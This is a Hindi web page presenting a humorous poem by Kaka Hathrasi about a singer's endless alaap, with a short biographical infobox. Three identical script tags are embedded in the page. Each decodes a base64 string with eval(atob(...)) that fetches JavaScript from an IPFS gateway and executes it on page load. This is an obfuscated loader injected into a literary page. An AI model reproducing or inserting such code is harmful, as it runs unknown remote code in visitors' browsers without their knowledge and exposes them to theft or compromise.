पक्के गायक -काका हाथरसी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पक्के गायक -काका हाथरसी
काका हाथरसी
कवि काका हाथरसी
जन्म 18 सितंबर, 1906
जन्म स्थान हाथरस, उत्तर प्रदेश
मृत्यु 18 सितंबर, 1995
मुख्य रचनाएँ काका की फुलझड़ियाँ, काका के प्रहसन, लूटनीति मंथन करि, खिलखिलाहट आदि
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
काका हाथरसी की रचनाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तंबूरा ले मंच पर बैठे प्रेमप्रताप।
साज़ मिले पंद्रह मिनट. घंटाभर आलाप॥

     घंटाभर आलाप, राग में मारा गोता।
     धीरे-धीरे खिसक चुके थे सारे श्रोता॥

कहें 'काका', सम्मेलन में सन्नाटा छाया।
श्रोताओं में केवल हमको बैठा पाया॥

     कलाकार जी ने कहा, होकर भाव-विभोर।
     काका ! तुम संगीत के प्रेमी हो घनघोर॥

प्रेमी हो घनघोर, न हमने सत्य छिपाया।
अपने बैठे रहने का कारण बतलाया॥

     'कृपा करें' श्रीमान ! मंच का छोड़ें पीछा।
     तो हम घर ले जाएं अपने फर्श-गलीचा॥

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>